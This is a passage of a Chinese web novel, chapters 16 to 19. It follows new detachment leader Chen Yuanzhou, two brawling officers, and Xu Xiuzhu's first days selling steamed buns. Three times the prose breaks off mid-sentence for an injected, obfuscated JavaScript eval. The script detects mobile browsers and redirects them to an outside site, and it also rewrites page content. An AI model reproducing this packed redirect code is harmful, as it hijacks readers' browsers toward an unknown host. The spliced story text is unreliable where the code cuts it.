周庆军介绍完陈远洲,又让大家互相介绍一下,不少人也都知道陈远洲和谭立新二对四的战绩。 这些人里最兴奋的莫过于赵无双,他昂首挺胸的站在陈远洲身边,那股骄傲劲儿不知道的还以为是他当上了支队长。 林寻一知道赵无双之前和陈远洲是一个部队的,他就看不上赵无双那嘚瑟劲儿,解散的时候路过他身边时小声说了一句“狗腿子”,正好让赵无双听见了。 “你说啥?”赵无双一把揪住林寻一的衣领子。 林寻一也是个敢做敢当的,一字一句道:“我说你,狗腿子。” “卧槽?”赵无双也看不上林寻一,他觉得这人特别扭,就是好话也不会好好说的那种,“不服出去练练?” “怕你是孙子。”林寻一掀了掀眼皮,完全没把赵无双放在眼里。 陈远洲正在办公室里看资料,技术处的方正敲了敲门,告诉他赵无双和林寻一在训练场上打起来了。 16. 第16章 第16章 训练场围了不少人看热闹,陈远洲赶到的时候现场已经分成了两个阵营,分别给赵无双和林寻一加油。 赵无双和林寻一打得难舍难分,要论实力二人其实差不多。 林寻一之前的邻居是个退伍的老兵,教过他一些拳脚功夫,他悟性好,学什么都一点就通。当警察之前他又混了几年街头,身上的功夫也都是一架一架打出来的。 赵无双是部队出身,受的是陈远洲的魔鬼训练,也不是花架子,可他吃了身高和体重的亏,林寻一比他高了大半头,身形健硕,两个人根本不是一个重量级的,若是僵持下去,他很难赢。 “陈队来了!” 人群中不知道谁喊了一声,赵无双一分神,林寻一直接一拳招呼到他脸上。 “你他妈偷袭我!”赵无双骂骂咧咧的要冲上去,但被陈远洲一把拽住。 陈远洲的身材比林寻一还要壮一些,他站在二人中间,明明没什么表情,但就是给人一种不怒自威的感觉,压迫感十足。 赵无双脸上挂了彩,但林寻一也挨了他一记窝心脚,两个人互相瞪着,明显不服对方。 谭立新腿脚不好,方正扶着他来晚了一会儿。他气得胸口上下起伏,狠狠瞪了林寻一一眼,心想这个臭小子真是赛脸了,一眼没看住就作妖!要不是现在人多,他非要用鞋底子狠狠拍林寻一一顿。 刚刚还气焰嚣张的林寻一,一见到师父立马低下头成了小猫。而赵无双则偷偷瞄了一眼陈远洲,见他弯着食指蹭了下鼻尖,心道不妙。 果然,下一秒就听见陈远洲发话了。 “每人二十公里。”陈远洲看着方正,“你监督。” 谭立新最先反应过来,立马附和道:“对对对,该罚该罚。”说完拍了拍林寻一,“二十公里,少一米都不行。” 赵无双在部队里挨罚是常有的事,他原地小跑准备开始受罚,却还不忘挑衅林寻一:“菜逼,二十公里你行不行啊?” 林寻一白了赵无双一眼,直接跑了出去。 赵无双叽叽喳喳的追了上去:“你个老登,挨罚还抢跑!” 顶着一头自来卷的方正老老实实地坐在训练场边上监督,围观的人也都散去,陈远洲扶着谭立新回去。 在陈远洲办公室里,见陈远洲一直没说话,谭立新有点坐不住了。 按理说林寻一在陈远洲上任第一天就和同事闹矛盾打架,还引来那么多人围观,影响确实不好,怎么罚都不过分,可他就怕林寻一真给陈远洲这个新领导留下不好的印象,影响林寻一今后的工作。 虽然他觉得陈远洲不像那种会给下属穿小鞋的领导,可他这个做师父的还是替徒弟担心。 “陈队啊。”谭立新斟酌着开口,连称呼都变了。 陈远洲给他倒了杯水,“谭哥,你就别跟我见外了,还是叫我远洲吧。” “成!”谭立新有话直说道:“我知道林寻一这小子今天做的实在是过分,挨罚一点也不冤,但你千万别因为这事对他有什么看法,他有能力,又爱这个职业,也很努力,干到今天确实不容易。” 刑警队里那么多人,真要是坐了冷板凳,那就很难出头了。 陈远洲知道谭立新的用心良苦,他也没绕弯子,直说道:“谭哥,我是部队出身,在部队论功行赏和赏罚分明是最基本的,我保证对事不对人,他有没有能力,行不行,咱们事儿上见。” 谭立新听了陈远洲这番话彻底放心了。他是个直性子,说话办事都是直来直去,因为这个没少吃亏,但好在陈远洲也是个真性情的。 男人之间有话直说最好,谭立新这辈子就怕碰到花花肠子九曲十八弯的人,面儿上啥都好说,背地里全是小动作,防不胜防。 陈远洲想到什么,说道:“谭哥,这个林寻一除了是你的徒弟,你们之间应该还有别的关系吧?你也给我说说他。”他注意到刚刚在训练场的时候,林寻一前一秒还不服不忿的,可一见到谭立新立马乖成了小猫,感觉并不全是徒弟对师父的敬畏。 谭立新佩服陈远洲的洞察力,他叹了口气,说起了和林寻一的渊源。 林寻一小的时候父亲酗酒,乱搞男女关系,还经常动手打他们母子,派出所接过几次报案,但都按照家庭纠纷调节的,每次调解完他父亲林茂有就会变本加厉的打他和他妈。 那应该是十三年前了,林寻一刚十二岁,一次林茂有喝多后直接打断了林寻一他妈一条腿,林寻一为了保护妈妈肋骨都被打断了。 大冬天的林茂有丧心病狂的把一身伤的娘俩撵了出来,正好碰到了巡逻的谭立新,还是谭立新把这娘俩送到了医院,垫付了医药费。 谭立新那个时候新刚被调到南阳区分局的治安大队,年轻气盛,见这娘俩被打得这么惨,直接拘了林茂有,后来也是经过他的努力,林茂有因为故意伤害罪、虐待罪被判了四年。 林茂有进去之后林寻一就带着妈妈搬了家。林寻一他妈腿脚落了残疾,干不了重活,林寻一就辍学赚钱,还整天跟一群小混混混在一起,一来二去还混成个小头头。 有一次两伙势力打群架,林寻一为了保护兄弟差点被打死,是谭立新救了他。谭立新怕这孩子就这么毁了,就找他谈了几次,又揍了他几回,总算让他走上了正道,机缘巧合的也做了警察,还成了他徒弟。 林寻一脑子好使,人又讲义气,他感恩谭立新,每次出任务一有危险肯定第一时间挡在谭立新前面,要不是谭立新说什么也不肯,他都想跪下来管谭立新叫声义父。 谭立新最后说道:“林寻一是个好孩子,有责任心,也有正义感,但就是因为家庭的原因性格有点别扭,有话不会好好说,你都不知道,有时候说出那话都能噎死人。” “我知道了。”陈远洲了解了林寻一的经历。他站在窗户边上往下看,训练场上林寻一和赵无双还在跑圈。赵无双明显比林寻一更能跑,正欠儿欠儿的一边倒着跑一边嘲笑林寻一。 谭立新说完林寻一,又跟陈远洲转达了一下出门前薛艳交给他的任务。今天是陈远洲第一天正式上班,也是徐秀竹第一天出摊卖面点,薛艳想找俩人到家里吃顿饭,也是感谢陈远洲之前救了谭立新。 陈远洲没推辞,不过他这会儿还真挺担心徐秀竹。 卖的好不好倒是次要的,主要是一想到徐秀竹那瘦小的肩膀要挑着扁担走街串巷的,就觉得辛苦。 可徐秀竹却一点也不觉得苦,她心里有奔头,整个人都充满了干劲。她挑着扁担,筐上贴着郝行给她想的宣传语。 一个是“徐氏面点面面俱到”,一个是“好吃不贵滨城骄傲”。 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487390|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀竹觉得“面面俱到”就够夸张的了,更别说“滨城骄傲”这四个字了。 她这还没开始卖呢就滨城骄傲了,滨城知道这事嘛? 可郝行非说这个营销策略,大家一看到“滨城骄傲”第一反应肯定是觉得她在吹牛,就算是猎奇心理也会想要买来尝尝。 再说口号响亮点也没毛病,人要有远大的志向,以徐秀竹的手艺早晚能成为滨城骄傲。 徐秀竹被他说动心了。人确实要有梦想,于是她也鼓励郝行,她说你好好在家搞创作,你就是未来的知名大作家。 事实证明郝行说的还有点道理。徐秀竹先去了人流量比较大的公共汽车站,她扁担刚放下,就有人围观,大家指着她筐上贴的“滨城骄傲”议论纷纷。 “这是卖啥的?咋还扯上滨城骄傲了?” “小姑娘年纪不大口气倒不小,牛都在天上飞了!” “这年头真是吹牛都不上税了!” “徐氏面点?没听说过。” ...... 徐秀竹并不着急反驳,眼看围观的人越聚越多,她清了清嗓子,开始推销。 “各位大哥大姐,叔叔阿姨,爷爷奶奶们!都听我说!” 徐秀竹提高音量:“我这里一共有三种面点,脂油卷、豆沙卷、蜂糖糕,每样两毛五分钱一个。脂油卷是咸香口味的,里面加了猪油和葱花,豆沙卷加的是红豆沙,口感细腻,甜而不腻,老少皆宜,蜂糖糕里加了猪油和白砂糖,十分暄软,香甜适口,也很适合小朋友吃哦!” 几句话介绍完这三种面点,徐秀竹见大家都在议论,却没人买,于是主动从筐里拿出早上提前准备好的试吃产品。 每样面点切成了等大的六小份,为了方便试吃,徐秀竹还贴心的准备了牙签。 “今天第一天开张,我特意准备了六个免费试吃名额,参加试吃的每人都可以尝到这三样!” 徐秀竹话音刚落大家纷纷举手,免费还不吃的是傻子! “这位漂亮姐姐,你家女儿好可爱,第一个试吃名额就给她吧!” 徐秀竹嘴甜,一句话把娘俩都夸了。她看那小孩跟吴桐差不多的年纪,想必口味也差不多,就特意让她先吃了蜂糖糕。 果然,小女孩吃了一块就嚷嚷着好吃,小手就伸向了第二块,但是徐秀竹已经提前说好每样只能吃一小块,小女孩的妈妈也很讲道理的,她制止住孩子的行为,立马出钱买了一块蜂糖糕。 “妈妈,这个糕糕甜甜的,软软的,好好吃哦!”小女孩见妈妈给她买了一大块,高兴地直蹦。 “姐姐,另外两种你也可以尝尝。”徐秀竹笑盈盈道,“不买也没关系。” 说好每个名额都可以免费吃到这三样,小女孩只吃了蜂糖糕,另外两种徐秀竹就让小女孩的妈妈尝了。 “真好吃!”小女孩的妈妈尝完之后满脸惊喜,她更喜欢豆沙卷的口感,于是买了两块。 其他人见状都争着要试吃。怕一会儿公共汽车来分散人群,徐秀竹加紧速度挑选试吃人员,剩下五个人无一例外都纷纷称赞味道好,其中一个大哥一口气买了十几个,他说家里正好有亲戚来串门,这面点就是拿出来待客都有面子! 他这么一说大家就更好奇了,没抢到试吃名额的人都想买一个尝尝,一会功夫两个筐都空了。 17. 第17章 第17章 徐秀竹今天第一天出摊,还是有些保守了,做的并不多。有人问她什么时候还来,徐秀竹现在充满干劲,直接说下午两点她还在这个位置。 回家之后徐秀竹先数了数上午的收入,一共是十五块钱,刨去成本也有八块钱左右的利润,假如她下午还能卖出去这些,那一天的净收入就是十六块钱,这收入已经非常可观了。 徐秀竹的嘴角是抑制不住的笑意,她赶紧和面准备下午的面点,还不忘抽空给自己和嗷嗷待哺的郝行准备了午饭。 郝行不挑食,什么都吃,午饭她就用猪油炒了个蛋炒饭,金黄的蛋炒饭出锅的时候撒上嫩绿的葱花,让人看着就食欲大开。徐秀竹做饭讲究营养均衡,她还特意烫了几根青菜,拌了料汁。 为感谢郝行给想的宣传语,徐秀竹决定免他三天饭钱。郝行也不是占小便宜的人,看着这满满一大盘子的蛋炒饭,硬是按照市场价给了她一块五毛钱。 刑侦支队里赵无双和林寻一也已经跑完了二十公里,两个人累的躺在训练场上直喘粗气。 方正完成了陈远洲交代的任务,起身回去复命。 赵无双咽了口唾沫,嘟囔道:“这个方正真是个死心眼,就不能睁一只眼闭一只眼,还非得跑满二十公里。” 林寻一哼了一声:“人家执行命令有啥错?都像你似的阳奉阴违就好了?” 赵无双转头瞪着他,咬牙切齿道:“林寻一你是不是挨揍没够啊?” “谁揍谁还不一定呢。” “休息日咱俩找个没人的地方单练,老子不把你打的跪地叫爹就不行赵!” 林寻一十分不屑道:“你的拳头最好和你的嘴一样硬。” 陈远洲在上面注意到两个人已经跑完了,他过来的时候这俩人都累的动弹不了,但嘴却没闲着,你一句我一句的跟小学生似的打嘴架。 “哥。”赵无双最先注意到陈远洲,立马站了起来。他喊完觉得不妥,又改口喊了句“陈队”。 陈远洲没搭理他,而是跟一旁的林寻一说道:“休息够了就把你师父送回家歇着。” 一提到谭立新,林寻一就像换了个人。他看了眼陈远洲,嗯了一声后转身就走了。 “你嗯什么嗯!你有没有礼貌!”赵无双看着林寻一的背影唧唧歪歪道。 “二十公里没跑够?”陈远洲看了眼赵无双,眼神很有威慑力。 赵无双一听立马消停了。 陈远洲踹了他一脚,“你小子怎么回事?” 赵无双捂着屁股有点委屈:“哥,他不服你!” 陈远洲眉头一挑,“怎么,就你这两下子是想把他打服?” 赵无双嘴硬的要命,“你要是再晚来一会儿我肯定把他打趴下。” 陈远洲这两辈子也不是白活的,他一眼就看出来赵无双不是林寻一的对手,他要是真晚来一会儿还不知道趴下的是谁。 “走吧,去食堂吃饭。”陈远洲看了眼时间,已经到饭点了。 去食堂的路上赵无双还在跟陈远洲控诉林寻一,他说他早就看林寻一不顺眼了,但是以前都能忍,可他不服陈远洲,这可忍不了。 “我是不是告诉过你,要以德服人。”陈远洲放缓脚步。赵无双跑完二十公里腿抖的要命,陈远洲都怕他把自己扇感冒了。 赵无双以为自己听错了,“你啥时候说过?”在部队的时候陈远洲让他们服气的方式非常简单粗暴,就一个字,揍。赵无双刚进部队的时候也是个愣头青,整天七个不服八个不忿的,他愣是被陈远洲给打服的。 陈远洲轻飘飘的看了赵无双一眼:“刚刚。” 赵无双没敢再说话,心想这人上了年纪都变得慈悲了,他早咋没遇到这样心软的陈远洲? 另一边谭立新正指着林寻一的鼻子骂,“我早上跟你说的话你当放屁呢!陈队今天第一天上任你就给他上眼药,你是不是没看到治安队的李建设嘴都要笑歪了?你诚心让他们看咱们刑侦的笑话?” 林寻一默默脱下鞋递给谭立新,“师父我错了,你打我吧。”说完他转过身把屁股对着谭立新。 谭立新看了眼林寻一的臭鞋,嫌弃的扔到了一边。见林寻一跑的衣服都湿透了,也有点不忍心再骂了,于是说道:“陈队今天罚你这事做的对,你心里别给我有什么不该有的想法,你要是真为了师父好就努力多破案子,让人家知道我谭立新带出来的徒弟不是孬种。” 林寻一不说话了,谭立新知道他是听进去了,就让他先送自己回家,这要是回去晚了薛艳知道是要骂人的。 下午两点,徐秀竹准时出现在车站,还真碰到了几个上午没买到的人。 这些人一样买了一个准备回家尝尝,徐秀竹又等了一会,见没什么人了,就准备换个地方。 徐秀竹刚要走就碰到了薛艳,她和两个街道办的同事刚调解完一起家庭纠纷,说的口干舌燥,午饭都没顾得上吃。 薛艳趁机跟同事推荐徐秀竹的面点,两个人见薛艳把这面点都要夸出了花,就一人买了一个脂油卷,由于太饿了,当街就吃了起来。 脂油卷咸滋滋的,里面还混合着在猪油的香味,让人吃了还想吃,于是又一人买了两个。 薛艳也买了,可徐秀竹并没打算收钱,薛艳小声说道:“你不收我的钱怎么收他俩的钱?”说着硬是把钱塞进徐秀竹的口袋里,还让她晚上来家里吃饭,说是谭立新已经告诉陈远洲了。 徐秀竹离开车站后又去了一条街外的储蓄所,她没有挡在门口,而是把筐放在储蓄所旁两米外的柳树下面。 储蓄所的人流量虽然没有车站大,但是进进出出的肯定都是不差钱的人,两毛五分钱的面点对他们来说并不贵。 和在车站的策略不一样,徐秀竹并没有集中人群大声推销,而是瞅准目标逐个询问,果然有几个刚存完钱的人在她的推销下都买了。 储蓄所的销售量并不如车站,但是徐秀竹有自己的考量。 她刚刚出摊,要做的就是让更多人知道她的面点,所以要去有标志性、有记忆点的地方,大家一提起来那个地方就知道在哪里。 徐秀竹倚着大柳树盘算下一个要去的地点,这时从储蓄所出来一个夹着公文包的男人,步履匆匆,徐秀竹正准备上前询问要不要买面点,谁知男人下一秒直接倒在了地上。 这可把徐秀竹吓了一跳,她刚准备喊人,男人就一把抓住了她的裤脚,嘴里不知道说什么。 徐秀竹凑上前,听他说什么有些头晕,浑身没劲。 徐秀竹一下子想到她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487391|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈远洲在火车上的时候也遇到过一个突然倒在地上说头晕的女人,陈远洲说她是什么低血糖,让徐秀竹把梁喜枝给的糖给她吃了两块,吃完糖女人明显好多了。 徐秀竹见他还有意识,于是问道:“先生,你是低血糖吗?” 男人眨了眨眼,徐秀竹知道自己应该是猜对了,可她这会儿口袋里没糖,想到蜂糖糕里就有糖,于是赶紧拿了一块给男人。 男人吃完蜂糖糕后恢复了些力气,为了感谢徐秀竹,他还掏出十块钱,说什么都要徐秀竹收下,就当是买她的面点。 徐秀竹笑着道:“先生,我这是小本生意,一块蜂糖糕两毛五分钱,你这十块钱我可找不开。” 两个犟人,一个坚持要给十块钱,一个坚持找不开零钱,最后男人干脆豪气的说道:“那我买十块钱的!” “十块钱是四十个,你吃不完吧?”徐秀竹提醒道:“浪费粮食可是可耻的。” 男人被徐秀竹的耿直逗笑,于是自我介绍道:“我叫刘峰,是咱们滨城第一建筑公司三队的负责人,我队里有几十个人,别说吃四十个,就是再来四十个也能吃的完。” 徐秀竹一听二话不说就开始给徐峰装面点,边装还边说道:“你买的多,我再一样送你一个。” 刘峰看徐秀竹年龄不大,却是个机灵有头脑的,而且还是个热心肠,一问才知道她今天还是第一次出摊,立马对她刮目相看。 刚刚晕头晕脑的,刘峰也没尝出蜂糖糕的味道,于是他又拿了一个,仔细品尝了一下,发现味道确实要比一般副食店里卖的要好,就这手艺找个门脸自己开店都可以了。 于是刘峰就问徐秀竹有没有意愿开店,总好过她辛苦的挑着扁担走街串巷。徐秀竹也不避讳,直说有这个想法,但不是现在。 徐秀竹觉得刘峰不像坏人,就多说了两句:“开店可不只是会做面点这么简单,方方面面都要考虑好,急不来。” 刘峰觉得徐秀竹比自己女儿大不了几岁,就鼓励道:“年轻人敢想敢干本就是好事,难得的是还思虑周全不盲目跟风,你加油,将来一定能成就一番事业!” 成就一番事业,这还是第一次有人这样直白的跟徐秀竹说这句话。从前她听的最多的就是“女孩读那么多书有什么用,早晚都要嫁人”“女人就要相夫教子的,男人才是天”“女人哪里能干事?男人才是顶梁柱”...... 徐秀竹的内心被刘峰这句话击中,她眼眶有些热,起身朝刘峰深深鞠了一躬。 刘峰从包里掏出一张名片递给徐秀竹,他说徐秀竹如果有需要可以随时找他,他能帮的一定帮。 徐秀竹见筐里没剩多少了,就准备收摊回去,剩下的打算带到薛艳家。 回家的时候她又去了趟菜市场,徐静很守信用的给她留了二斤猪板油,徐秀竹还把筐里的面点一样给徐静拿了一个。 想着晚上要去薛艳家吃饭,徐秀竹又买了二斤排骨,徐静给她切得都是上好的仔排,肉层厚实,油脂丰富,还贴心的给切成了小块。 回家之后徐秀竹先熬了明天要用的猪油,又给郝行做了晚饭,收拾的差不多的时候陈远洲也回来了。 徐秀竹哒哒哒的跑过去,满脸兴奋的看着陈远洲,说道:“你猜猜我今天一共卖了多少钱?” 18. 第18章 第18章 徐秀竹现在回想这一天发生的事心跳还有点加速。她绘声绘色的给陈远洲讲述着,一双杏眼清澈灵动,脸上的笑容明媚的像太阳。 陈远洲第一次见到如此鲜活生动的徐秀竹,他看着,然后低头在她脸上亲了一下。 徐秀竹刚刚还说个不停,突然就像被抠了电池强制关机一样,呆在原地。 陈远洲又在她另一边脸上亲了一下,声音里带着笑意:“开机。” 徐秀竹的脸瞬间涨的通红,陈远洲看着觉得有趣,心想明明之前还那么大胆的拿着男科医院的广告让他了解一下,还以为是狠人呢,结果才亲了一下脸蛋就不会说话了。 “你怎么突然亲人。”徐秀竹半天憋出这么一句话。 “那我下次提前打报告?” 徐秀竹不说话,要论脸皮厚她目前还不是陈远洲的对手。 “我要去给郝行送饭了。”徐秀竹打不过就要跑。 陈远洲拦住她,“我去送。”他要去看看这位大少爷是什么情况。 上了三楼,陈远洲手都占着没法敲门,就抬脚踹了踹。郝行顶着鸡窝头开门,原本呆滞的目光在看到陈远洲后恢复了些清明。 “怎么是你?”郝行伸着脑袋往二楼看,却被陈远洲挡住视线。 陈远洲把手里的饭菜塞给他,“怕我给你下毒?” “没有没有。”郝行笑得有点憨,“钱在我裤子左边的口袋里,你自己拿吧。” 陈远洲不想碰他,“你直接给我媳妇。”媳妇两字还特意加了重音。 郝行一头雾水的看着陈远洲下楼的背影,心想这大哥上来一趟,不会就是为了炫耀自己有媳妇吧? 陈远洲和徐秀竹带着排骨和面点去了薛艳家,路上徐秀竹小短腿倒腾的飞快,故意和陈远洲拉开距离。 薛艳在家已经开始准备晚饭。谭立新跟她说了白天林寻一和赵无双打架的事,还说陈远洲罚林寻一跑了二十公里。 谭立新说他本来还打算把林寻一叫到家里一起吃晚饭,顺便拉近一下他和陈远洲的关系,但想了想还是觉得算了,薛艳则说谭立新没喊林寻一就对了。 她说今天这顿饭本来就是为了感谢陈远洲,林寻一跟陈远洲两口子也不熟悉,叫来了大家在一个桌上吃饭难免尴尬。再加上林寻一是在单位里犯的错误,那就应该在工作上好好表现,给陈远洲留个好印象,要是叫过来不成了他这个师父给徒弟走后门了?别再弄巧成拙。 谭立新却觉得薛艳多虑了,他说陈远洲可不像心胸狭隘的人,还把他俩今天的对话跟薛艳说了一遍,薛艳一听也放心了。 “现在陈远洲当了你们的队长,你们今后的日子也能好过一些了。”薛艳又提到了之前牺牲的支队长胡海。 虽然人已经去世了不好再议论什么,可胡海工作能力一般也是事实。他不擅长查案子,但是很擅长查自己人,他当支队长那几年,队里分成了好几派,彼此勾心斗角,把谭立新这种实干派都快搞抑郁了。 薛艳虽然不擅长厨艺,但是她舍得花钱,水平不够食材来凑,大鱼大肉总不会难吃到哪里去。徐秀竹见这一大桌子菜已经够丰盛了,就没做排骨,反正现在天气也不热,排骨也坏不了。 吃饭的时候陈远洲给徐秀竹夹了几次菜,徐秀竹低着头闷闷的吃,也不看他。 薛艳注意到二人之间的微妙,等人走了以后还跟谭立新说了这事,可谭立新根本听不懂她说什么。 谭立新今晚高兴少喝了点酒,他酒量本来就不好,这会儿正红头涨脸的搂着他儿子称兄道弟呢。 “你这小酒量以后干脆一口也别喝了。”薛艳嫌弃的要命,赶紧拉开谭立新。 谭松激动地冲着他妈直抱拳,“感谢母亲大人!”说完一溜烟跑回卧室锁上了门,生怕再被他爸逮住叫老弟。 进了五月滨城的气温就开始回升,但晚上依旧凉爽宜人。徐秀竹和陈远洲从薛艳家离开的时候天已经黑了,二人并排走着,陈远洲很自然的牵住她的手。 徐秀竹心跳得有点快,任由陈远洲牵着她慢悠悠的溜达着,她找了个话题,抬头问道:“你喝多了吗?” 陈远洲今晚喝的要比谭立新多一些,但是他酒量好,除了身上有淡淡的酒味,根本看不出来。他抓着徐秀竹的手凑到唇边亲了一下:“你猜。” “我不猜。”徐秀竹耳朵热的要命,她垂着脑袋,一边走一边踢着路上的石子。 二人便不再说话,一直默默牵着手走到了单元门口。 徐秀竹这一路上就闻到了花香。她停住脚步,顺着香味看了过去,借着一楼住户家的灯光,发现楼下的丁香花开了。 淡紫色的丁香花形状有点像小喇叭,在微风下互相簇拥着,小巧又可爱。 “花开了。”徐秀竹指给陈远洲看。 陈远洲摘了一朵递给徐秀竹,徐秀竹笑嘻嘻的接过来,打趣道:“采花贼。” “你指现在吗?”说着陈远洲快速的亲了亲徐秀竹的额头。 徐秀竹一脸慌张的捂着脑门四下看了看,虽然说天黑了,但万一被人看到怎么办。 “你真是喝多了。”徐秀竹嘟囔了一句先一步上了楼。 晚上徐秀竹做了个梦,她梦见赵春梅到陈远洲家要钱,她在陈家撒泼打滚,把陈家搅得鸡犬不宁。 早上吃饭的时候她还在想着这个梦,她觉得赵春梅能干出来,她有些担心,怕因为她给陈家带来麻烦。 陈远洲看出她有心事,徐秀竹告诉他昨晚做的梦,她有些到担心道:“你要不要问问你家里,我妈没有去闹吧?” “不会。”陈远洲安慰她。 “你不知道,我妈可厉害了。”徐秀竹叹了口气。她骂人的词可多了,一套一套的。 “我妈更厉害。”陈远洲语气里还有点骄傲。 徐秀竹想了想也是,于是就放心了。俩人早饭还没吃完对门的郑悦欣就来敲门,她说她昨天带到学校的面点特别受欢迎,有好几个老师拜托她帮着买一些。 给郑悦欣装完面点之后,徐秀竹又把早上给吴桐做的三色糕给了她。 三色糕是徐秀竹用蔬菜汁和鸡蛋和的面,里面还夹了肉馅。徐秀竹让郑悦欣拿给吴桐尝尝,要是喜欢吃的话就把做法告诉她。 郑悦欣要付钱,徐秀竹说这就是举手之劳的事,两家现在是邻居,以后免不了有互相帮忙的时候,要是事事都算得这么清楚,那就显得生分了。 听徐秀竹这么说郑悦欣便欣然接受了。晚上下班后她特意买了些水果过来,她说吴桐非常喜欢三色糕,所以想来学习一下是怎么做的。 郑悦欣要比徐秀竹个子高一些,她今年三十二岁,但看着跟二十多岁没什么分别。她长相温婉,说话也是慢条斯理的,给人的第一感觉就是很有教养。她有一双很漂亮的手,白皙修长,指甲也修剪得整整齐齐,给人一种十指不沾阳春水的感觉。 徐秀竹麻利的洗菜和面剁馅,郑悦欣光是看着就有些手忙脚乱,徐秀竹把步骤重复了好几遍她还是记不住。 看着徐秀竹依旧好脾气的一遍遍的给自己讲解,郑悦欣感觉很不好意思,她自嘲道:“现在我总算能理解为什么有的学生一个问题总是要问好多遍了,原来是真的记不住。” 徐秀竹怕她有心里负担,就开解道:“每个人都有自己擅长的事情嘛,我很小就开始给全家人做饭,所以在厨房会更得心应手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487392|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你要是让我去给学生讲课的话那肯定是不行的。” 听徐秀竹这么说郑悦欣就更惭愧了,她捏着手里的面团,说道:“我长这么大还没给我爸妈做过一顿饭呢。”她就连今天来学习也是为了自己的女儿。 徐秀竹:“那你一定是一个在幸福家庭长大的小孩,爸爸妈妈很爱你,所以才不舍得让你干活。” 郑悦欣点点头,“是啊,我结婚之前在家里就什么活都不干,结婚之后家务也都是吴凯做。” 徐秀竹笑着道:“吴老师对你可真好。” 一提到吴凯,郑悦欣的脸上就洋溢着幸福的笑容。她和吴凯是高中同学,两个人在高中的时候就互通了心意,并且考上了同一所大学,大学一毕业就领了结婚证。吴凯也和他结婚之前承诺过的一样,对她很好,好到连垃圾都不舍得让她扔。 后来她怀胎十月,生吴桐的时候又遭了些罪,险些难产,吴凯对她就更好了。吴凯他妈言里言外提过很多次想让两个人再生个儿子,可吴凯一想到郑悦欣怀孕生产时遭的罪,就说什么也不肯。 “你们的感情可真好。”徐秀竹由衷说道。 可越是这样郑悦欣就总觉得亏欠吴凯,她想想这么多年,自己好像从来没有为吴凯做过什么,好像一直都是他在付出,自己心安理得的接受着他的好。 “秀竹,你能教我做几道菜吗?”郑悦欣说的时候还有点不好意思,“吴凯今年带毕业班,每天早出晚归的,还要操心我和桐桐的一日三餐,我想学几道菜,除了能做给他吃,也能照顾好自己和桐桐,少让他操心。” 徐秀竹一口答应:“我当然愿意啦!你想学什么就告诉我。”她说自己不仅喜欢做菜,也喜欢教别人做菜,总感觉特别有成就感。 两个人之间的关系一下子拉近了不少,接下来的几天,郑悦欣一下班就买好菜拎过来跟徐秀竹学习。 学习的时候她真是对徐秀竹刮目相看,因为徐秀竹总是闻一下就知道咸了还是淡了,或者还缺什么调料没放。她还帮吴桐研究了好几样营养餐,每一样都能满足小朋友现阶段所需要的营养。 跟着这样厉害的师父学习,郑悦欣进步的也很快,已经可以做出四菜一汤了。 徐秀竹鼓励郑悦欣:“你这四菜一汤一端上来,吴老师绝对会感动的哭鼻子。” 第二天正好是周末,郑悦欣信心满满的准备大展身手。把她送走之后徐秀竹坐在沙发上跟陈远洲讲了二人的事,讲完之后她一边捶着肩膀一边感慨道:“他们两个人的感情可真好。” 陈远洲看着最近又是出摊又是教徒弟的徐秀竹,总觉得她的小圆脸瘦了一圈。他把人拉到身边,替她捏起了肩膀。 徐秀竹刚开始还有点不好意思,可陈远洲捏的很舒服,力道也够,她感觉整个人都放松了,索性闭着眼睛享受了起来,到最后直接坐着睡着了。 陈远洲把人抱回了卧室,替她脱了外衣,盖好被子后亲了亲她的额头才出去洗漱。 其实徐秀竹被抱起来的时候就已经醒了,可她等陈远洲出去之后才敢睁眼睛。她把脑袋一点点缩进了被子里,最近陈远洲总是亲她,搞得她都有点忘了陈远洲不行这件事了。 第二天早上是徐秀竹先醒的,陈远洲从后面抱着她,睡得正熟。 想着陈远洲今天休息,徐秀竹就想让他多睡一会儿,所以一直没敢动弹,可她总觉得哪不对劲,好像有什么东西顶住了她的腰。 徐秀竹轻轻动了一下,身后忽然传来陈远洲有些喑哑的声音。 “别乱动。” 后知后觉的徐秀竹脑袋轰一下子像是要炸开了,她的脸红得像是要滴血,偏偏陈远洲云淡风轻的说道:“抱一会儿就好了。” 19. 第19章 第19章 陈远洲又行了? 徐秀竹抱着怀疑的心态,吃早饭的时候一直在偷瞄陈远洲。陈远洲倒是不怕看,可谁能解释一下徐秀竹那是什么眼神? 陈远洲觉得有必要和徐秀竹说清楚了。客厅的抽屉里还放着徐秀竹给他的小广告,他放在徐秀竹面前,说道:“这个我用不上。” 